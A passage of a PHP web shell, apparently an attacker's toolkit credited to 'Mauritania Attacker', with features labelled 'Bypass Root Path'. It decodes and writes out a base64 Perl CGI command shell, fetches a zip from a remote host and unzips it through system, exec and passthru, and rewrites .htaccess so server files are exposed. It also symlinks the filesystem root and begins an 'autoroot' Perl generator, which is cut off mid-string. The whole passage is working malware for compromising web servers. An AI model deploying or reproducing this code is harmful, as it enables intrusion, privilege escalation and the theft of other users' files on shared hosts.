ZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0=';
$file = fopen("vw.root" ,"w+");
$write = fwrite ($file ,base64_decode($cgipl));
fclose($file);
chmod("vw.root",0755);
echo "<br><center><span style='font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900'>Bypass Perl Security</span><br><br><iframe src=cgipl/vw.root width=75% height=50% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypsrootwzp'))
{
echo'<center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Root Path With Zip File</span><br>Coded By Mauritania Attacker</center>';
echo"<p align='center'><img border='0' src='http://4.bp.blogspot.com/-B2RRd3iYCgI/Uj6UtLxxApI/AAAAAAAAATc/DJHEPAWNTmk/s320/Password-protected-zip-file.png'></p>";
echo'<div class="tul"><font color="009900" face="Impact, Geneva, sans-serif" style="font-size: 8pt"><font/>';
echo"<center><font face='ghost' color='red' size='5'><font/>
<form method='post'>
<input class='inputzbut' type='submit' value='Grab To Root Now' name='fuck'><br>
<center><font color='red' size='4' face='ghost'>Remote Zip File</font><input class='inputz' type='text' size='40' name='shell' value='http://hcp1.es/wp-content/uploads/v4.zip'
</font></center>
</form>
</center>
</p>";
@error_reporting(0);
$file = $_POST['shell'];
//Generate zip file
mkdir('wooooot', 0755);
chdir('wooooot');
$fopen = fopen("v4.zip",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Zip File Downloaded Successfully
";
sleep(2);
echo "<p>Going To Unzip the File to Get r00t....</p>";
sleep(2);
//system
system('unzip v4.zip');
//passthru
passthru('unzip v4.zip');
//shell_exec
shell_exec('unzip v4.zip');
//exec
exec('unzip v4.zip');
//proc_open
proc_open('unzip v4.zip');
sleep(1);
//Extracting htaccess For Symlink
chdir('wooooot');
$htaccess = 'T1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kNCk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRm9yY2VUeXBlIHRleHQvcGxhaW4NCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIA0KQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sDQpBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWwNCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAuaHRtbA0KQWRkSGFuZGxlciB0eHQgLnNodG1sDQpPcHRpb25zIEFsbA0KT3B0aW9ucyBBbGw=';
$priv8priv = fopen(".htaccess" ,"w+");
$xwrite = fwrite ($priv8priv ,base64_decode($htaccess));
sleep(1);
echo "<p>Loading Perl unzipper.... \!/ </p>";
//dezipper.pl generate
chdir('wooooot');
$l0vercodee = 'eyANCnN5c3RlbSgidW56aXAgdjQuemlwIik7DQpleGVjKCJ1bnppcCB2NC56aXAiKTsNCnBhc3N0aHJ1KCJ1bnppcCB2NC56aXAiKTsNCnNoZWxsX2V4ZWMoInVuemlwIHY0LnppcCIpOw0KcHJvY19vcGVuKCJ1bnppcCB2NC56aXAiKTsNCn0=';
$greatshiit = fopen("dezipper.pl" ,"w+");
$write = fwrite ($greatshiit ,base64_decode($l0vercodee));
if($write){
echo "<p>Perl Unzipper Downloaded Successfully</p>";
fclose($greatshiit);
chmod("dezipper.pl",0755);
echo "<p>Unzipping File with Perl \!/ </p>";
system('perl dezipper.pl');
passthru('perl dezipper.pl');
shell_exec('perl dezipper.pl');
exec('perl dezipper.pl');
proc_open('perl dezipper.pl');
echo"<br><a href=wooooot/1.txt TARGET='_blank'>Link=====><font color=red size=3 face='Courier New'><b>Root Path</b></font></a>";
}
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bforb'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Root Path with system function</span><center><br>';
mkdir('p41j0', 0755);
chdir('p41j0');
$bforb = 'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBCeXBhc3MgUm9vdCBQYXRoIGJ5IFZpcnVzYSBXb3JtPC90aXRsZT48L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBmb250LWZhbWlseTpDb3VyaWVyCW1hcmdpbi1sZWZ0OiAwcHg7IG1hcmdpbi10b3A6IDBweDsgdGV4dC1hbGlnbjogY2VudGVyOyBOZXc7Zm9udC1zaXplOjEycHg7Y29sb3I6IzAwOTkwMDtmb250LXdlaWdodDo0MDA7fSBhe3RleHQtZGVjb3JhdGlvbjpub25lO30gYTpsaW5rIHtjb2xvcjojMDA5OTAwO30gYTp2aXNpdGVkIHtjb2xvcjojMDA3NzAwO30gYTpob3Zlcntjb2xvcjojMDBmZjAwO30gYTphY3RpdmUge2NvbG9yOiMwMDk5MDA7fSAtLT48IS0tIE1hZGUgQnkgVmlydXNhIFdvcm0gLS0+PC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgZWNobyAiPGNlbnRlcj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQnlwYXNzIGl0JyBuYW1lPSd2aXJ1c2EnPjwvY2VudGVyPiI7IGlmIChpc3NldCgkX1BPU1RbJ3ZpcnVzYSddKSl7IHN5c3RlbSgnbG4gLXMgLyB2aXJ1c2EudHh0Jyk7ICRmdmNrZW0gPSdUM0IwYVc5dWN5QkpibVJsZUdWeklFWnZiR3h2ZDFONWJVeHBibXR6RFFwRWFYSmxZM1J2Y25sSmJtUmxlQ0J6YzNOemMzTXVhSFJ0RFFwQlpHUlVlWEJsSUhSNGRDQXVjR2h3RFFwQlpHUklZVzVrYkdWeUlIUjRkQ0F1Y0dodyc7ICRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkdmlydXNhID0gc3ltbGluaygiLyIsInZpcnVzYS50eHQiKTsgJHJ0PSI8YnI+PGEgaHJlZj12aXJ1c2EudHh0IFRBUkdFVD0nX2JsYW5rJz48Zm9udCBjb2xvcj0jMDBiYjAwIHNpemU9MiBmYWNlPSdDb3VyaWVyIE5ldyc+PGI+QnlwYXNzZWQgU3VjY2Vzc2Z1bGx5PC9iPjwvZm9udD48L2E+IjsgZWNobyAiPGJyPjxicj48Yj5Eb25lLi4gITwvYj48YnI+PGJyPkNoZWNrIGxpbmsgZ2l2ZW4gYmVsb3cgZm9yIC8gZm9sZGVyIHN5bWxpbmsgPGJyPiRydDwvY2VudGVyPiI7fSBlY2hvICI8L2Zvcm0+IjsgID8+PC90ZD48L3RyPjwvYm9keT48L2h0bWw+';
$file = fopen("bforb.php" ,"w+");
$write = fwrite ($file ,base64_decode($bforb));
fclose($file);
chmod("bforb.php",0755);
echo "<iframe src=p41j0/bforb.php width=60% height=60% frameborder=0></iframe>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'rootexecbpass'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Root Path With exec Function</span><center><br>';
mkdir('p41j0', 0755);
chdir('p41j0');
$excrooooot = 'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydleGVjZXInXSkpeyBleGVjKCdsbiAtcyAvIHJvb3QtZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3QtZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3QtZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
$file = fopen("excrooooot.php" ,"w+");
$write = fwrite ($file ,base64_decode($excrooooot));
fclose($file);
chmod("excrooooot.php",0755);
echo "<iframe src=p41j0/excrooooot.php width=60% height=60% frameborder=0></iframe>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'rootshelleexecbpass'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Root Path With shell_exec Function</span><center><br>';
mkdir('p41j0', 0755);
chdir('p41j0');
$shellexcexce = 'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J3NoZWxsX2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydzaGVsbF9leGVjZXInXSkpeyBzaGVsbF9leGVjKCdsbiAtcyAvIHJvb3Qtc2hlbGxfZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkc2hlbGxfZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3Qtc2hlbGxfZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3Qtc2hlbGxfZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
$file = fopen("shellexcexce.php" ,"w+");
$write = fwrite ($file ,base64_decode($shellexcexce));
fclose($file);
chmod("shellexcexce.php",0755);
echo "<iframe src=p41j0/shellexcexce.php width=60% height=60% frameborder=0></iframe>";
}
?>
<?php
/////////////////////////////////////////////////////////////////////////////////////////////////////
//perl auto root
if(isset($_GET['x']) && $_GET['x'] == 'w00ts'){
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Autoroot Generator Coded By P41j0 hxh</span><center><br>';
echo'<center><font color="#006600" size="2pt"><b>your s3mp4k</b><font/></center><br>';
echo"<p align='center'> <img border='0' src='http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg'></p><br>";
echo'<div class="tul"><font color="007700" face="Geneva, sans-serif" style="font-size: 11pt"><font/>';
@error_reporting(0);
sleep(2);
echo "<p><b>Script Autoroot Perl Extracted Successfully.... \!/ </b></p><br>";
//generate autoroot script perl
mkdir('ruut',0755);
$shellw0rm = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX